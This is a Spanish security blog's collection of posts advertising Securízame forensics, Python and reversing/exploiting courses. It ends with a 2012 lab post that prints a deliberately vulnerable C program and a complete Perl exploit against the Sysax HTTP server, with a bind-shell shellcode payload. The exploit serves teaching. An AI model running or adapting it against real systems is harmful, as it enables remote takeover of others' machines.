Mostrando entradas con la etiqueta curso. Mostrar todas las entradas
Mostrando entradas con la etiqueta curso. Mostrar todas las entradas

17 febrero 2017

Próximos eventos de formación presencial de seguridad en Securízame

A lo largo de 2017, en Securízame, hemos ido planificando un buen calendario de capacitaciones presenciales en la academia de nuestras instalaciones en Madrid. Así, hemos impartido dos sesiones de Gestión y Respuesta ante Incidentes en GNU/Linux, que han aportado un muy buen feedback por parte de los alumnos.  

26, 27 y 28 de Mayo de 2017: DFIR y Análisis Forense en Windows (8 plazas disponibles a la fecha) 



Como complemento al curso de Gestión de Respuesta ante Incidentes y Análisis Forense de Linux, surge este otro curso con el mismo objetivo para Windows. Preparar al alumno para que sea capaz de enfrentarse ante un incidente de seguridad, pero en este caso en el que las víctimas sean ordenadores con sistema operativo Windows.

En la misma línea, se entregará una imagen para un USB de Incident Response con herramientas para Windows, que utilizamos en Securízame para cuando nos toca hacer este tipo de actuaciones. Asimismo se detallarán los diferentes artifacts y elementos del sistema operativo, susceptibles de contener información valiosa en un incidente o a la hora de realizar un peritaje informático forense en Windows.

Los profesores que estaremos encargados de llevar a cabo esta formación somos Pedro Sánchez Cordero y yo (Lorenzo Martínez Rodríguez), que contamos con amplia experiencia en impartir este curso a diferentes empresas y organizaciones, de forma conjunta, con muy buenos resultados.   

Tienes la información y acceso al registro de este entrenamiento en este enlace: DFIR y Análisis Forense en Windows.

Las plazas, son limitadas a 20 alumnos, y en general un alto porcentaje de ellas suelen ser ocupadas por antiguos alumnos a los que, por su fidelidad, les enviamos la información para acceso al curso 24 horas antes de que el acceso sea público. De hecho, primera edición de este curso, planificada para el 5, 6 y 7 de Mayo, ya se llenó, y es por eso que tuvimos que abrir una nueva.

Aunque te parezca que algunas fechas están muy lejos en el calendario, no te descuides porque se suelen llenar pronto.

En caso que no puedas asistir a nuestras formaciones por no encajarte las fechas o por la distancia a Madrid, tienes alternativas online en https://cursos.securizame.com/cursos, que no están sujetas a ningún tipo de agenda, puesto que se trata de cursos pre-grabados. Esto significa que si quieres hacer cualquiera de los cursos que están disponibles en la página, simplemente te registras, efectúas el pago del mismo y te generamos todo el material de forma personalizada. 

Si tienes cualquier duda, o requieres más información respecto a alguna de los cursos o el entrenamiento, puedes contactar con nosotros a través del formulario en https://www.securizame.com/contacto


Leer más...

17 mayo 2016



Me habéis oído y leído defender a Perl como lenguaje de scripting en múltiples ocasiones a lo largo de los años que llevo escribiendo en este blog. Siempre he dicho que el lenguaje en el que hagamos nuestros scripts da igual, siempre y cuando nos sintamos cómodos con él, éste disponga de los medios y módulos que nos permitan cumplir nuestras necesidades de manera rápida y efectiva. 

Sin embargo, es cierto que si tiramos de estadísticas, o mejor dicho de realidad, la mayoría de los proyectos de herramientas albergadas en github que han surgido en los últimos años están hechas en Python. Es cierto que otros lenguajes como Ruby o NodeJS también tienen su nicho, pero a día de hoy, es difícil encontrar un lenguaje que "valga para todo",  y esté tan universalmente aceptado com Python.


Junio.py: el mes de Python con Securízame


En este caso, y para aquellos que no tengan ni idea de Python, habrá un primer módulo que es 100% online, para el que la profesora, María José Montes Díaz, responsable de formación de Securízame, ha preparado 45 horas de sesiones en video, así como ejercicios para que hagan los alumnos, y a los que ella enviará posteriormente una solución propuesta. Se trata de un módulo básico, donde se explique lo más normal con Python, declaración de variables, estructuras de control, funcionamiento con módulos, orientación a objetos, interacción y manejo de ficheros, tratamiento de sockets, etc,...  Este módulo estará disponible a primeros de Junio. Te puedes registrar a él aquí: Python 101

Los siguientes módulos, son presenciales, y serán impartidos en las oficinas de Securízame en Madrid. De 10 horas de duración cada uno, se darán en fines de semana (en formato viernes por la tarde - sábado por la mañana). 




El viernes 10 y sábado 11 de Junio, se impartirá "Python para Sysadmins". El profesor, Julio Semper, del equipo de Securízame, mostrará módulos que pueden ser interesantes para administradores de sistemas. Módulos que permitan automatizar tareas cotidianas, o desarrollo de scripts puntuales que permitan interactuar con ficheros más grandes, logs, pcaps, bases de datos, etc,... La idea no es mostrar en modo masterclass qué hace cada módulo y qué opciones tienen, sino también que los alumnos hagan ejercicios y que el profesor solucione en el momento aquello que no funcione.

El viernes 17 y sábado 18 de Junio, el profesor será Daniel García "Chron", al que algunos ya conocéis como profesor del módulo de Hacking con Python en el curso de hacking online que hicimos a finales de 2015, o como uno de los creadores de la herramienta de pentesting escrita en Python GoLismero. En esta ocasión dará en modo presencial "Python avanzado". El temario está relacionado con concurrencia, hilos, optimización, etc,... el temario completo y registro aquí: https://cursos.securizame.com/python-avanzado/

El viernes 24 y sábado 25 de Junio, le toca el turno a Daniel Echeverri (AKA "Adastra") nos contará cómo utilizar Python en las diferentes fases de un pentest. Se trata de un curso también práctico, del que todo el mundo hablaba maravillas cuando coincidimos en el DragonjarCON en Manizales. El título del curso es "Python para Pentesting" y tenéis el temario y formulario de registro aquí: https://cursos.securizame.com/python_pentesting/


Cada módulo suelto presencial tiene un precio de 165 euros + 21% IVA, y el online 165 euros (estando exento de IVA según el artículo 20, apartado uno, número 9, de la Ley 37/1992, al encontrarse el contenido en el sistema educativo español, según Real Decreto 1393/2007) e incorpora, además de la formación y el material que cada profesor proporcione, un certificado nominal de asistencia con aprovechamiento. 

Además, se incluye café, infusiones, refrescos y algo de picar en dos descansos que se hacen en cada jornada.




Puedes pre-registrarte en alguno de los cursos que te he contado, por separado, o matricularte en la oferta de pack conjunto por 495 euros + 21% IVA, según prefieras ,aquí: https://cursos.securizame.com/python/.

Como se puede ver en las fotos, la sala tiene una capacidad limitada por lo que aconsejamos no dejar el registro para el último día. 


Leer más...

01 abril 2016

Análisis forense: Lo que había, lo que hay,... y lo que habrá

El mundo del peritaje forense ha cambiado mucho en estos años. Todavía recuerdo cuando en los primeros juicios a los que me presentaba comentaba en el informe que las evidencias se habían extraído con un Helix y marcaba la integridad de las evidencias con MD5. Por aquel entonces no había mucho escrito sobre forense, y era muy complicado explicar las cosas a alto nivel.

Después, y como todo en esta profesión, se fue actualizando más y más el campo del peritaje hasta el día de hoy, en el que existen numerosas herramientas, procedimientos y aproximaciones para extraer una evidencia.

Y aquí es donde surgen nuevos problemas. Ya no vale con marcar las evidencias con MD5, porque tanto jueces como abogados te pueden tirar las mismas alegando colisiones. Con las herramientas pasa un poco lo mismo. Personalmente he visto cómo en determinados juicios, se han tirado evidencias porque han logrado demostrar que la solución utilizada para la extracción de las mismas no lo hacía correctamente.

Del peritaje forense nació el contra-peritaje, que consiste básicamente en desmontar – de una manera técnica y a bajo nivel– las evidencias presentadas en un caso. Y para desmontar las evidencias no suele valer un “Le pasamos esta herramienta gratuita y como podéis comprobar….”, porque en ciertos escenarios, esa evidencia no valdrá nada ante un abogado que realmente sepa de lo que está hablando.

Cualquier perito decente os recomendará sin duda la utilización de herramientas como Encase o FTK, y no porque sean más o menos caras, sino porque en determinados escenarios, gracias a la mera utilización de la misma tendréis el caso ganado. Pensad por un momento un caso en donde tengáis que extraer información de determinados ficheros alojados en un disco duro con un sistema operativo de cualquier tipo, en el que no sólo residen esos ficheros, sino que también se encontrarán ficheros de carácter personal como fotografías o vídeos.

Gracias a estas herramientas y/o frameworks, los peritos se pueden concentrar en la búsqueda sin importar el tipo de dato que se encuentre en el sistema operativo. Más de un caso se ha caído debido a que en la búsqueda de esa información, el perito se topó con directorios que se encontraban fuera del ámbito de actuación y que no debería ver y/o analizar.

Hay que aplicar la medida justa para extraer la evidencia, ni más, ni menos. El conocimiento del entorno tanto a alto como a bajo nivel, así como la elección – o la fabricación - de la herramienta determinarán una buena actuación, amén de la profesionalidad del perito a la hora de llevar el caso. Porque no olvidéis que os citarán como experto en la materia.

También es importante tener amigos. En este caso, y dado la fragilidad de este campo, se recomienda que los peritos pertenezcan a algún tipo de asociación. Y por asociación quiero decir algo serio que resuelva las dudas puntuales que pueda tener un profesional. Para el caso que nos ocupa, y aquí en España tenemos ANCITE, que brinda muchos servicios y ayudas a los profesionales que día a día se enfrentan a juicios.

Y después tenéis a gente como Pedro Sánchez, Lorenzo Martínez o un servidor para echaros un cable siempre que lo necesitéis y esté dentro de nuestra mano. Como sabéis, Securízame organiza todos los años un curso de análisis forense para profesionales del sector. Gracias a estos cursos se han podido ver y estudiar escenarios nunca vistos como por ejemplo análisis de servicios basados en SQL Server, Exchange o Active Directory, por citar algunos en los que he sido invitado como profesor.

Como cada año, y anticipándonos a nuevos escenarios, el curso de este año está liderado por grandes profesionales del sector como por ejemplo Sergi Alvarez (@trufae), el cual es uno de los desarrolladores principales de radare, herramienta ampliamente utilizada en forenses de tipo avanzado y en donde se requiere un nivel de detalle importante en cuando a la presentación de evidencias.

También estará José Antonio Guasch (@secbydefault), el cual es uno de los editores de este humilde blog y reconocido profesional que ha sido invitado por Securizame para hablar a bajo nivel de navegadores, así como las buenas prácticas a la hora de montar un laboratorio forense, junto con Lorenzo Martínez (@lawwait).

El incombustible Pedro Sánchez (@conexioninversa) participará esta vez enseñándonos todo lo relacionado con Incident Response, disciplina que cada vez más se está demandando en clientes finales.

El gran Toni de la Fuente (@ToniBlyx) ha sido invitado para que nos enseñe cómo enfrentarnos a casos forenses en donde la información resida en la nube, algo que ya forma parte de nuestra rutina diaria.

La parte de Yago (@YJesus), editor también de este blog y creador de herramientas como unhide, es la de Backdooring, ocultación y búsqueda de tramas, no sólo en el sistema, sino también en red.

Por mi parte (@tr1ana) yo he sido invitado para dar la parte de OS en Windows. Pero no me voy a centrar este año en registro o ficheros. Este año toca centrarnos en servicios como Cortana (Sí, Cortana!), la interfaz Metro o la integración de aplicaciones con el escritorio. También dedicaré un apartado especial al análisis de memoria RAM, pero esta vez Volatility se quedará en el cajón y lo haremos mediante herramientas nativas de Microsoft, como son WinDBG o SysInternals.

En la URL del curso tenéis tanto el temario como horarios y profesores implicados en el mismo. Por mi parte, deciros que os veo en unas semanas para seguir explorando esta maravillosa disciplina.


Juan Garrido
MVP Enterprise Security
Leer más...

09 marzo 2016

Curso: Análisis forense en profundidad V2

Uno de los aspectos más relevantes a la hora de formarse, es el deseo de no quedarse en el punto en el que termina un curso y saber cómo actualizar periódicamente el tema sobre el que has recibido formación.

Por eso, Securízame ha actualizado la saga de cursos relacionados con 'Forense en profundidad' con un montón de nuevas áreas y nuevos profesores.

En la versión 2 del curso se hablará de:

Módulo I - El laboratorio forense, Forense en Linux 3.X y Forense en Docker - 8 horas- 

Profesores: Lorenzo Martínez y José Antonio Guasch

Módulo II - Forense en routers - 8 horas- 

Profesor: Sergi Álvarez (Pancake)

Módulo III – Forense de Navegadores - 8 horas - 

Profesor: José Antonio Guasch
Módulo IV – Gestión y respuesta ante incidentes - 8 horas - 

Profesor: Pedro Sánchez

Módulo V - Backdooring - 8 horas - 

Profesor: Yago Jesus

Módulo VI: Forense en AWS, GCE y Azure- 8 horas - 

Profesor: Toni de la Fuente

Módulo VII - Hardware forensics – 8 horas - 

Profesor: Pedro Sánchez

Módulo VIII - Análisis Forense Windows 10 y aplicaciones Metro - 8 horas - 

Profesor: Juan Garrido

Como veis, el curso se actualiza con nuevos conceptos que complementan la versión V1 impartida tiempo atrás.

Si estás interesado, puedes consultar el temario y apuntarte ya mismo porque el curso empieza el 11 de Abril.

Leer más...

20 agosto 2014




En Securízame, desde que hemos estado impulsando cursos de formación, siempre hemos tenido claro que nuestro objetivo era tratar de ofrecer temáticas con alta demanda y que no estuviesen saturadas. En el mercado existen muy buenos cursos y excelentes formadores que ofrecen temas muy relevantes altamente recomendables.

No obstante, la idea siempre ha sido ir un paso mas allá y adentrarse en conceptos que fuesen novedosos. Por eso es que para nosotros resulta muy excitante la idea de crear cursos que luego generan un "feedback" potente y que nos incentivan a seguir en esta línea.

En esta ocasión, hemos creado un curso que esperamos colme las expectativas de todas aquellas personas que quieran ir un paso mas allá en el mundo de la seguridad.

Se trata de un curso online sobre "Reversing & Exploiting avanzado", orientado a aquellas personas que ya se han formado previamente en seguridad defensiva, auditorías o planes de contingencia, y que desean dar el siguiente paso: poder realizar exploiting (tus propios exploits) y entender como se realiza el reversing a bajo nivel.

Este tipo de formación es realmente compleja de adquirir y suele tener dos hándicaps, fundamentalmente. Por una parte, el hecho de tener que desplazarse físicamente a un lugar alejado de España, ya sea EEUU o adentrarse por Europa, y además que la formación suele estar impartida en inglés. 

En el caso del curso que estamos lanzando, queremos mitigar esos inconvenientes y se podrá recibir desde cualquier sitio (al ser online) y el idioma será el español

Consideramos que los entornos que ha de abarcar son tanto Windows como Linux, al ser las plataformas con más despliegue en el mercado

Para ello, contamos con un elenco de profesores especialistas en cada campo:



YAGO JESUS (@yjesus)yjesus
  • Profesional con más de 10 años de experiencia en el sector de la seguridad informática, ha trabajado para importantes empresas como Telefónica, Caja Madrid, sector defensa y administraciones públicas.
  • Editor del blog Security By Default (www.securitybydefault.com), ha desarrollado multitud de herramientas relacionadas con la seguridad informática.
  • Fundador de eGarante (www.egarante.com)

RICARDO J. RODRIGUEZ (@ricardojrdez)ricardo_rodriguez

  • El Dr. Ricardo J. Rodríguez recibió sus títulos de M.S. y Ph.D. en Informática por la Universidad de Zaragoza, Zaragoza, España, en 2010 y 2013, respectivamente.
  • Su doctorado versa sobre el estudio del análisis de rendimiento y optimización de recursos en sistemas críticos complejos modelados con Redes de Petri.
  • Actualmente, trabaja como investigador senior en ciberseguridad en la Universidad de León.
  • Sus intereses de investigación incluyen análisis de rendimiento y optimización de grandes sistemas de eventos discretos, ingeniería del software segura, sistemas de tolerancia a fallos e infraestructuras críticas y análisis de malware.
  • El Dr. Rodríguez es también miembro del IEEE Computer Society.
  • Ha participado como ponente en otras conferencias de seguridad, como NoConName (2011, 2012, 2013), Hack.LU (2011), RootedCON (2012) y Hack in Paris (2013). También ha participado como formador en NoConName (2011, 2013), RootedCON (2012) y Hack in Paris (2013) dando cursos sobre fundamentos de ingeniería inversa y técnicas de anti-reversing en entornos Windows

ALBERT LÓPEZ (@newlog_) newlog
  •  Ingeniero en informática, profesionalmente dedicado a la seguridad informática durante cuatro años. Ha trabajado para empresas tan punteras como Víntegris o Internet Security Auditors, desarrollando software empresarial enfocado a la seguridad informática en la primera y realizando auditorías de seguridad a empresas, tanto de ámbito nacional como internacional, en la segunda.
  • Actualmente realiza auditorías de seguridad como freelance y colabora activamente con una startup estadounidense dedicada a desarrollar frameworks de post-explotación.
  • Sin embargo, su pasión siempre han sido las técnicas de explotación de software. Así lo demuestran sus ponencias en congresos como la RootedCon o la OWASP European Tour, en las que presentó estudios sobre la explotación de heap buffer overflows en GNU/Linux.
  • Asímismo, interesado en fomentar dichos conocimientos, en 2009 fundó la comunidad Overflowed Minds, para compartir información y ayudar a todos aquellos interesados en iniciarse en el mundo del exploiting.

SERGI ÁLVAREZ (@trufae)pancake




  • Apasionado de la seguridad y del software libre durante los últimos 15 años.
  • Ha trabajado realizando análisis forenses, optimizando codecs multimedia en ensamblador para varias arquitecturas y desarrollando firmwares para dispositivos embebidos, entre otros.
  • Autor y principal desarrollador del proyecto Radare, un framework orientado a facilitar varias tareas relacionadas con la ingeniería inversa, análisis forenses, exploiting y manipulación de binarios. Participó en el CTF de la Defcon durante 3 años con el equipo de Sexy Pandas con el rol de reverser y parcher.
  • Ha publicado varios artículos sobre seguridad en blogs y revistas electrónicas como phrack. Asimismo, tambien ha participado en varios congresos realizando ponencias o talleres sobre hacking, reversing, radare, etc.



  • JAIME PEÑALBA (@nighterman)
    • Jaime cuenta con más de 10 años de experiencia en el sector de la informática trabajando como ingeniero de sistemas y consultor de seguridad.
    • Durante su carrera ha trabajado para las principales empresas de los sectores tecnológicos, energéticos y financieros en España, Estados Unidos y Latinoamérica.
    • Ponente habitual en las conferencias de seguridad españolas, también dedica parte de su tiempo a desarrollar herramientas de seguridad y participar en campeonatos de hacking

    Como sabemos que no todo el mundo puede tener el nivel de partida necesario para sacar todo el jugo al curso, hemos pensado también en ello y, adicionalmente, hemos creado un módulo introductorio sobre 


    1. Arquitectura de Computadores y Memoria – 2 horas – Sergi Álvarez
    • Funcionamiento básico de un procesador
    • Arquitectura x86 (16/32/64 bits): Registros, Endian y Flags
    • Organización/Gestión/Estructuras de la memoria y sus permisos
    • Calling conventions (pasar por pila, pasar por registros en 32/64bits)
    • Funcionamiento de la pila (stack)
    2. Ensamblador:
    • Relación entre código binario, máquina y ensamblador (compilar/decompilar)
    • Juegos de Instrucciones CISC/RISC
    • Basicblocks/Grafos:
      • Definición de Basic block
      • Cómo se estructura el código
      • Callgraphs
      • Complejidad ciclomática
    • Demos
    3. Introducción a reversing práctico en Entorno Windows – 2 horas – Yago Jesús
      • Breve introducción al reversing, fundamentos básicos y descripción de escenarios
      • Análisis estático
      • Análisis dinámico
      • Debuggers
      • API Hooking
      • Rootkits
    4. Introducción a exploiting práctico en Entorno Linux – 2 horas – Yago Jesús
      • Breve introducción al exploiting
      • Tipos de vulnerabilidades
      • Binarios, permisos y problemas asociados
      • Vulnerabilidades de condición de carrera
      • Exploiting básico (No DEP, no ASLR)
      • Exploiting de servicios de red
      • Introducción a contramedidas

    Una vez concluida esta parte, el impresionante temario es el siguiente:


    MÓDULO II – Reversing en Windows – 8 horas – Profesor:  Ricardo J. Rodríguez
    1. Introducción y conceptos básicos
    • Windows NT internals
      • PEB, TEB, LDR
      • PE Headers
      • Windows APIs
    2. Ingeniería inversa de código básica: Herramientas
    • Usando un  Debugger: OllyDBG
    • Entendiendo el ensamblador desde el código
    3. Ingeniería inversa de código básica: Técnicas
    • Event-Fishing
    • Serial-Fishing
    • Capturando claves: Self-Keygenning, Keygenning
    4. Introducción a algunos trucos anti-debugging
    5. Ingeniería inversa de código avanzada: técnicas
      • Unpacking
      • .NET Reversing
    6. Practicum, conclusiones y referencias
    • Algunos ejercicios prácticos
    • Conclusiones
    • Referencias
    MÓDULO III – Exploiting en Windows – 8 horas – Profesor:  Albert López
    1. Introducción
    • Stack Frames
    • Análisis práctico
    2. Stack Based Buffer Overflows
    • Vector de ataque 1
      • Sobrescribiendo EIP almacenado
      • Exploit real
    • Vector de ataque 2
      • Structured Exception Handling
      • Exploit real
    3. Técnicas de Mitigación de Exploits (y evasión)
    • SafeSEH
    • SEHOP
    • Stack Cookies
    • Data Execution Prevention (DEP)
      • Return Oriented Programming (ROP)
      • Exploit real
    • Address space layout randomization (ASLR)
      • Limitaciones
      • Exploit real
    En este módulo se trabajará con herramientas como Immunity Debugger y mona.py. Se desarrollarán exploits para aplicaciones como Real Player, Quicktime y otros. Se analizarán desde plataformas Windows XP SP3, 7 SP1 y 8.1. Igualmente, se usará Metasploit para generar los payloads, encodearlos y gestionar el meterpreter. Los PoCs se harán en Python.
    MÓDULO IV – Reversing en Linux – 8 horas – Profesor:  Sergi Álvarez
    1. Introducción a la Ingeniería Inversa
    • ¿Qué es y para qué se usa?
    • Reversing en Linux
      • Compilar, desensamblar y decompilar
      • Formato ELF
      • ld.so LDPRELOAD /proc
    • Herramientas
      • Tipos
      • Cómo instalarlas y breve introducción
    • Demos
      • Extracción de información de ejecutables
      • ldpreload bypass password
    2. Análisis
      • Referencias
      • Interrupciones (búsqueda, resolución)
      • Basic Blocks
      • Grafos (call, bb)
    • Demos
      • Ensamblado/desensamblado
      • Parcheado de programa
    3. Formateando Datos y Búsquedas
    • Bindiffing
    • Estructuras en C (alineamiento, punteros, listas,…)
    • Extracción de strings y referencias
    • Cálculo de entropía
    • binwalk, /m, yara, rafind2, photorec (carving)
    • Firmas, funciones, preludes,…
    • Demos:
      • Búsqueda de parche
      • Extracción de ficheros de un dump
      • Identificación de funciones por firma
    4. Debugging y análisis dinámico
      • Introducción a Valgrind, GDB y r2
      • Trazas de ejecución (ltrace, strace)
      • Breakpoints
    • Manipulación de flujo de ejecución
      • Modificación de registros
      • Inyección de código
      • Volcados de memoria
    • Demos
      • Solución de crackme con debugger
      • Demos con gdb y r2
    MÓDULO V – Exploiting en Linux – 8 horas – Profesor:  Jaime Peñalba
    1. Vulnerabilidades más comunes
    •   Stack based overflow
    •   Heap based overflow
    •   Format string
    2. Introducción a shellcodes
    • Shellcoding básico
    • Rop chains
    • Herramientas (ragg2, metasploit)
    3. Protecciones modernas
    • Stack canary
    • No eXecute Bit
    • ASLR
    • RELRO (RELocation Read-Only)
    • PIE
    4 Técnicas contra protecciones
    • Return to libc
    • Got overwrite
    • ROP
    • Stack pivoting
    • Memory disclosure
    ¿Eres de los que no saben por dónde empezar cuando tiene que analizar un binario? ¿Te gustaría saber encontrar vulnerabilidades en software y explotarlas? ¿Te vienes abajo cuando ves una pantalla con código ensamblador y no sabes cómo utilizar un debugger? ¿Te parece de otro mundo cuando lees noticias en las que se encuentran puertas traseras a un router o descubren un zero-day para Java, Flash o Internet Explorer? Pues bienvenido, este es tu curso.


    Las condiciones, horarios y fechas en las que se llevará a cabo el curso están explicadas en la web de Securízame “Curso online de Reversing y Exploiting Avanzado en Windows y Linux”, en la que podrás informarte de las condiciones del curso, así como pre-registrarte.
    Leer más...

    10 marzo 2012

    Dos fallos tontos en el rootedlab

    En uno de los RootedLab de este año explicaba como explotar dos buffer overflows muy básicos. El primer ejercicio y más clásico, desbordando una aplicación de Linux que espera un argumento. El segundo, en un parámetro de un POST un servicio HTTP de Windows.

    En ambos tras siete horas de clase (aunque no hay excusa que valga) metí la pata.

    El código usado para Linux no puede ser más típico:

    #include 
    #include 
    #include 
    int bof(char *string) {
      char buffer[1024];
      strcpy(buffer, string);
      return 1;
    }
    int main(int argc, char *argv[]) {
     if (argv[1]) {
      bof(argv[1]);
      printf("Done..\n");
     } 
    return 1;
    }
    

    Compilado y ejecutado en un entorno ideal, es decir, deshabilitando el "stack-protector" y "FORTIFY_SOURCE", además de deshabilitando el "randomize_va_space del kernel".

    Cuando en la clase tratamos de explotarlo por línea de comandos la shellcode generada usando msfpayload estaba mal copiada y yo había duplicado una de las líneas. Como es lógico fallaba en su ejecución y no me di cuenta del descuido, pensando que estaba fallando por utilizar un puerto ya en uso en la bindshell que lanzaba.

    En el caso del exploit para Windows, ejecutado sobre una máquina virtual con XP SP2 en Inglés y sin DEP, ocurrió exactamente lo mismo, solo que copie y pegué un la shellcode en formato python en un script en perl. ¡Si os reís os buscaré y encontraré!. Por alguna extraña razón, perl no añade strings con el símbolo + y claro, aquello no iba... aunque todo lo demás estaba correcto.

    La aplicación objetivo era un "multi" servidor llamado Sysax, para el que acaban de publicar otra vulnerabilidad en el servicio SSH. Una auténtica joya para empezar.

    El exploit correcto a desarrollar, quedaba así:

    #!/usr/bin/perl
    use strict;
    use IO::Socket;
    my $remote = IO::Socket::INET->new(
    Proto    => "tcp",
    PeerAddr => "192.168.135.139",
    PeerPort => "81") or die "error";
    $|=1;
    my $sid=$ARGV[0];
    my $junk = "A"x705;
    my $ret .= "\xbc\x41\xdb\x77"; # jmp esp de USER32.dll 0x77db41bc
    my $nops .= "\x90"x50;
    
    my $buf =
    "\xdb\xd6\xd9\x74\x24\xf4\x5a\xbb\xb2\xea\xbb\xa1\x29\xc9" .
    "\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\xa6\x08\x4e\x5d" .
    "\x2e\x45\xb1\x9e\xae\x36\x3b\x7b\x9f\x64\x5f\x0f\x8d\xb8" .
    "\x2b\x5d\x3d\x32\x79\x76\xb6\x36\x56\x79\x7f\xfc\x80\xb4" .
    "\x80\x30\x0d\x1a\x42\x52\xf1\x61\x96\xb4\xc8\xa9\xeb\xb5" .
    "\x0d\xd7\x03\xe7\xc6\x93\xb1\x18\x62\xe1\x09\x18\xa4\x6d" .
    "\x31\x62\xc1\xb2\xc5\xd8\xc8\xe2\x75\x56\x82\x1a\xfe\x30" .
    "\x33\x1a\xd3\x22\x0f\x55\x58\x90\xfb\x64\x88\xe8\x04\x57" .
    "\xf4\xa7\x3a\x57\xf9\xb6\x7b\x50\xe1\xcc\x77\xa2\x9c\xd6" .
    "\x43\xd8\x7a\x52\x56\x7a\x09\xc4\xb2\x7a\xde\x93\x31\x70" .
    "\xab\xd0\x1e\x95\x2a\x34\x15\xa1\xa7\xbb\xfa\x23\xf3\x9f" .
    "\xde\x68\xa0\xbe\x47\xd5\x07\xbe\x98\xb1\xf8\x1a\xd2\x50" .
    "\xed\x1d\xb9\x3c\xc2\x13\x42\xbd\x4c\x23\x31\x8f\xd3\x9f" .
    "\xdd\xa3\x9c\x39\x19\xc3\xb7\xfe\xb5\x3a\x37\xff\x9c\xf8" .
    "\x63\xaf\xb6\x29\x0b\x24\x47\xd5\xde\xeb\x17\x79\xb0\x4b" .
    "\xc8\x39\x60\x24\x02\xb6\x5f\x54\x2d\x1c\xd6\x52\xe3\x44" .
    "\xbb\x34\x06\x7b\x2a\x99\x8f\x9d\x26\x31\xc6\x36\xde\xf3" .
    "\x3d\x8f\x79\x0b\x14\xa3\xd2\x9b\x20\xad\xe4\xa4\xb0\xfb" .
    "\x47\x08\x18\x6c\x13\x42\x9d\x8d\x24\x4f\xb5\xc4\x1d\x18" .
    "\x4f\xb9\xec\xb8\x50\x90\x86\x59\xc2\x7f\x56\x17\xff\xd7" .
    "\x01\x70\x31\x2e\xc7\x6c\x68\x98\xf5\x6c\xec\xe3\xbd\xaa" .
    "\xcd\xea\x3c\x3e\x69\xc9\x2e\x86\x72\x55\x1a\x56\x25\x03" .
    "\xf4\x10\x9f\xe5\xae\xca\x4c\xac\x26\x8a\xbe\x6f\x30\x93" .
    "\xea\x19\xdc\x22\x43\x5c\xe3\x8b\x03\x68\x9c\xf1\xb3\x97" .
    "\x77\xb2\xc4\xdd\xd5\x93\x4c\xb8\x8c\xa1\x10\x3b\x7b\xe5" .
    "\x2c\xb8\x89\x96\xca\xa0\xf8\x93\x97\x66\x11\xee\x88\x02" .
    "\x15\x5d\xa8\x06";
    
    
    my $junk2 .= "\x44"x1000;
    my $payload = $junk . $ret . $nops . $buf . $junk2;
    my $head =
    "POST /scgi?sid=$sid&pid=mk_folder2_name1.htm HTTP/1.1\r\n"
    ."Host: \r\n"
    ."Referer: http://192.168.139.135/scgi?sid=".$sid."&pid=mk_folder1_name1.htm\r\n"
    ."Content-Type: multipart/form-data; boundary=---------------------------"
    ."1190753071675116720811342231\r\n"
    ."Content-Length: 171\r\n\r\n"
    ."-----------------------------1190753071675116720811342231\r\n"
    ."Content-Disposition: form-data; name=\"e2\"\r\n\r\n"
    ."$payload\r\n"
    ."-----------------------------1190753071675116720811342231--\r\n\r\n"
    ."\r\n";
    print $head;
    print $remote $head;
    while(<$remote>) { print }
    close $remote;
    


    Por desgracia el temario siempre es demasiado largo y no había mucho tiempo ni para meter un par de prints o ver que decía exactamente el debugger y arreglar el problema. Nota mental para próximos años, si es que los hay: ¡reducir contenido o hacerlo de dos días!

    Leer más...